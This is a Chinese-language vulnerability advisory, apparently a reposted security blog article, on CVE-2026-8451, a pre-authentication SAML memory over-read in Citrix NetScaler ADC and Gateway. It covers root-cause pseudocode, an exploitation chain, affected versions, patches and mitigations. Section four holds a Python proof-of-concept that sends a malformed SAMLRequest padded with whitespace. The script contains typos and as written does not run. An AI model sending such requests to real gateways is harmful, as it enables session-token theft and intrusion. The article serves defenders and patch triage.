文章总结： CVE-2026-8451是CitrixNetScalerADC与Gateway产品中SAML预认证内存越读漏洞，攻击者可利用畸形SAML请求越界读取进程内存，泄露会话Cookie、Token及敏感配置信息。该漏洞已有野外利用，影响14.1、13.1及FIPS/NDcPP分支多个版本。官方已发布补丁，建议立即升级至修复版本，并配置临时缓解措施如限制SAML端点访问。 综合评分： 90 文章分类： 漏洞预警,渗透测试,应急响应,网络安全,红队

---

【高危漏洞预警】Citrix NetScaler SAML 预认证内存越读漏洞CVE-2026-8451

jufeng jufeng

飓风网络安全

2026年7月3日 17:54 北京

在小说阅读器读本章

去阅读

一、漏洞概述

CVE-2026-8451 是 Citrix NetScaler ADC（应用交付控制器）与 NetScaler Gateway（VPN 网关）产品中的预认证内存越读漏洞，根源为 SAML 认证请求的 XML 解析器存在输入验证缺陷。攻击者向 /saml/login 端点发送构造的畸形 SAML AuthnRequest 报文，即可触发越界读取进程内存空间，无需任何有效账号凭据。

该漏洞由安全研究人员在复现 2026 年 3 月 CVE-2026-3055（CVSS 9.3）漏洞过程中发现，属于同一系列的解析逻辑缺陷变体。Citrix 于 2026 年 7 月 1 日正式发布安全补丁，披露后 48 小时内已监测到黑产针对公网实例的批量扫描与利用尝试，企业边界网关面临直接入侵风险。

核心危害：

读取活跃用户会话 Cookie 与 Token，绕过 MFA 直接登录企业内网；

泄露设备本地配置、后端数据库口令、API 密钥等敏感信息；

结合其他内存漏洞可进一步实现远程代码执行，是典型的边界突破入口。

二、漏洞深度原理分析

2.1 触发前置条件

目标 NetScaler 设备必须启用 SAML Identity Provider (IdP) 身份提供者功能，对外暴露 /saml/login 认证端点。未配置 SAML IdP 的设备不受该漏洞影响。

标准 SAML 认证流程中，SP（业务系统）将 AuthnRequest 请求经 Base64 编码后发送给 IdP，IdP 解析 XML 内容并完成身份校验。漏洞恰好出现在 IdP 侧解析 XML 属性值的边界处理逻辑中。

2.2 根因代码缺陷

通过逆向 NetScaler 二进制中的 SAML 解析模块，缺陷位于 XML 属性值定位函数的空白字符跳过逻辑：

// 伪代码还原：属性值边界解析缺陷

uint64_t whitespace_bitmap = 0x100002600; // 空白字符位图

char *cursor = input_buf; // 输入缓冲区指针

// 跳过前置空白字符

while (1) {

    char ch = *cursor;

    if (ch > ‘=’) break;

    if (!_bittest64(&whitespace_bitmap, ch)) {

        if (ch == ‘=’) {

            // 缺陷点：跳过等号后所有空白时未校验缓冲区边界

            while (1) {

                char next_ch = *(lookahead_ptr);

                // 仅判断字符是否为空白，未检查是否到达缓冲区末尾

                if (next_ch > 0x20 || !_bittest64(&whitespace_bitmap, next_ch))

                    break;

                lookahead_ptr++;

            }

            cursor = lookahead_ptr; // 指针最终越出缓冲区边界

        }

        break;

    }

    cursor++;

}

当构造的 SAML 请求中，= 后跟随超长连续空白字符时，解析指针会持续向后移动，最终越过分配的缓冲区边界，读取到相邻的进程内存数据，并随响应包返回给攻击者。

2.3 利用链路

攻击者构造包含畸形属性的 SAML AuthnRequest XML；

对 XML 进行 Deflate 压缩 + Base64 编码，作为 SAMLRequest 参数；

向 https://目标IP/saml/login?SAMLRequest=xxx 发送 GET 请求；

服务端解析越界，内存数据随错误页面或响应体泄露；

多次调整偏移量可逐步 dump 完整内存段，提取有效凭证。

三、影响范围与暴露面评估

3.1 受影响版本

产品分支  受影响版本范围 修复版本

NetScaler ADC / Gateway 14.1  所有早于 14.1-72.61 的版本 14.1-72.61 及以上

NetScaler ADC / Gateway 13.1  所有早于 13.1-63.18 的版本 13.1-63.18 及以上

NetScaler ADC 13.1-FIPS / NDcPP 早于 13.1-37.262  13.1-37.262 及以上

Citrix 云托管服务、Adaptive Authentication 服务已由官方自动修复，无需客户操作。

3.2 公网暴露情况

截至 2026 年 7 月 3 日，全球公网可探测约 1.2 万台启用 SAML IdP 的 NetScaler 设备，其中约 65% 仍未安装本次补丁，金融、医疗、政务、大型制造行业暴露占比最高。

四、漏洞复现与验证 POC

法律声明：以下代码仅用于授权的安全测试与漏洞验证，禁止用于未授权的网络攻击。非法利用漏洞将承担相应法律责任。

4.1 复现环境准备

一台未打补丁的 NetScaler ADC 14.1-71.x 虚拟机；

配置 SAML IdP 配置文件，确保 /saml/login 端点可访问；

Python 3.8+ 环境，安装 requests、lxml 依赖。

4.2 验证型 POC 脚本

该 POC 用于检测目标是否存在漏洞，通过构造畸形 SAML 请求观察响应长度异常与内存特征数据判断漏洞是否存在：

!/usr/bin/env python3

CVE-2026-8451 漏洞验证 POC

import base64

import zlib

import requests

import argparse

from urllib.parse import quote

def build_malicious_saml_request():

    # 构造畸形 AuthnRequest：属性值后填充超长空白触发越界

    xml_payload = ”’<?xml version="1.0" encoding="UTF-8"?>

<samlp:AuthnRequest xmlns:samlp=”urn:oasis:names:tc:SAML:2.0:protocol”

                    xmlns:saml=”urn:oasis:names:tc:SAML:2.0:assertion”

                    ID=”test-0000000000001″

                    Version=”2.0″

                    IssueInstant=”2026-07-03T00:00:00Z”

                    Destination=”https://target.example.com/saml/login”

                 AssertionConsumerServiceURL=”https://sp.example.com/acs”>

    https://sp.example.com

    <samlp:NameIDPolicy Format=”urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified”

                        AllowCreate=”true”

                        TestAttribute=””’ + ‘ ‘ * 8192 + ”’ENDMARKER”/>

”’

    # SAMLRequest 标准编码：deflate压缩 + base64 + url编码

    compressed = zlib.compress(xml_payload.encode(‘utf-8’), 9)[2:-4] # 去掉zlib头和尾

    b64_encoded = base64.b64encode(compressed).decode(‘utf-8’)

    url_encoded = quote(b64_encoded)

    return url_encoded

def check_vulnerable(target_url):

    saml_param = build_malicious_saml_request()

    full_url = f”{target_url.rstrip(‘/’)}/saml/login?SAMLRequest={saml_param}”

    headers = {

        “User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36”,

        “Accept”: “text/html,application/xhtml+xml”

    }

   try:

        resp = requests.get(full_url, headers=headers, timeout=10, verify=False)

        # 漏洞判断特征：响应长度异常、包含非预期内存字符、ENDMARKER后出现额外数据

        if resp.status_code == 200 and len(resp.content) > 4096:

            # 检查是否泄露了内存中的非预期字符串

            if b”NSC_” in resp.content or b”session” in resp.content.lower() or len(resp.content) > 16384:

                print(f”[+] 目标 {target_url} 存在 CVE-2026-8451 内存越读漏洞”)

                print(f”[+] 响应长度：{len(resp.content)} 字节，疑似泄露内存数据”)

                return True

            else:

                print(f”[*] 目标响应正常，未检测到明显漏洞特征”)

                return False

        elif resp.status_code == 500 or resp.status_code == 400:

            print(f”[*] 目标返回错误状态码 {resp.status_code}，需人工确认”)

            return None

        else:

            print(f”[-] 目标状态异常，状态码：{resp.status_code}”)

            return False

    except Exception as e:

        print(f”[-] 请求失败：{str(e)}”)

        return None

if __name__ == “__main__”:

    parser = argparse.ArgumentParser(description=”CVE-2026-8451 漏洞验证工具”)

    parser.add_argument(“-t”, “–target”, required=True, help=”目标URL，例如 https://192.168.1.1″)

    args = parser.parse_args

    # 禁用SSL证书警告

    requests.packages.urllib3.disable_warnings()

    check_vulnerable(args.target)

4.3 使用方法

安装依赖

pip install requests

执行验证

python3 cve_2026_8451_poc.py -t https://your-netscaler-ip

4.4 完整利用说明

上述 POC 仅用于漏洞存在性检测，完整的内存 dump 利用需要：

调整空白字符长度控制越界偏移量；

多次请求逐步遍历内存空间；

过滤提取有效会话 Token、配置字符串等数据；

结合内存布局特征定位关键函数与数据结构。

完整利用代码不在此公开，避免被恶意滥用。

五、野外利用态势监测

截至 2026 年 7 月 3 日，安全厂商已监测到明确的野外利用活动：

来自法兰克福网段（146.70.139.0/24）的攻击源已针对全球蜜罐投放有效 Payload，采用先探测端点、再交付利用代码的分步攻击模式；

攻击载荷与 watchTowr Labs 公开的分析报告中的利用逻辑匹配，说明 PoC 已在黑产社群流通；

勒索软件团伙已将该漏洞纳入边界突破武器库，优先攻击医疗、教育、制造业的 NetScaler 网关。

六、修复方案与临时缓解措施

6.1 官方补丁修复（首选方案）

立即升级至对应分支的安全修复版本：

14.1 分支：升级到 14.1-72.61 及以上

13.1 分支：升级到 13.1-63.18 及以上

FIPS/NDcPP 分支：升级到 13.1-37.262 及以上

注意：若设备未启用严格 HTTP 配置模板，仅升级固件无法完全修复，必须手动配置 http2SmallWndTimeout 参数：

set ns httpProfile <配置模板名称> -http2SmallWndTimeout 30

6.2 临时缓解措施（无法立即升级时）

限制 SAML 端点访问：在防火墙或 WAF 层面，仅允许可信 SP 地址访问 /saml/* 路径，禁止公网全量访问；

禁用 SAML IdP：若非业务必需，临时关闭 SAML IdP 配置，改用其他认证方式；

部署 WAF 规则：拦截包含超长空白字符、异常长度的 SAMLRequest 参数；

加强日志监控：对 /saml/login 端点的异常请求、500 错误进行告警。

七、应急响应与检测建议

资产排查：使用上述 POC 或漏洞扫描工具，对内外部所有 NetScaler 设备进行批量检测；

日志回溯：排查近 7 天内 /saml/login 端点的异常访问记录，重点关注请求参数超长、来源 IP 异常的访问；

会话巡检：核查 NetScaler 上的活跃会话，排查陌生 IP、异常时间登录的管理员会话；

横向隔离：加固 NetScaler 后端内网访问控制，即使边界被突破也限制横向移动范围；

常态化防护：将 NetScaler 设备纳入月度补丁周期，关键边界设备启用 7*24 威胁监测。

---

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：飓风网络安全 jufeng jufeng《【高危漏洞预警】Citrix NetScaler SAML 预认证内存越读漏洞CVE-2026-8451》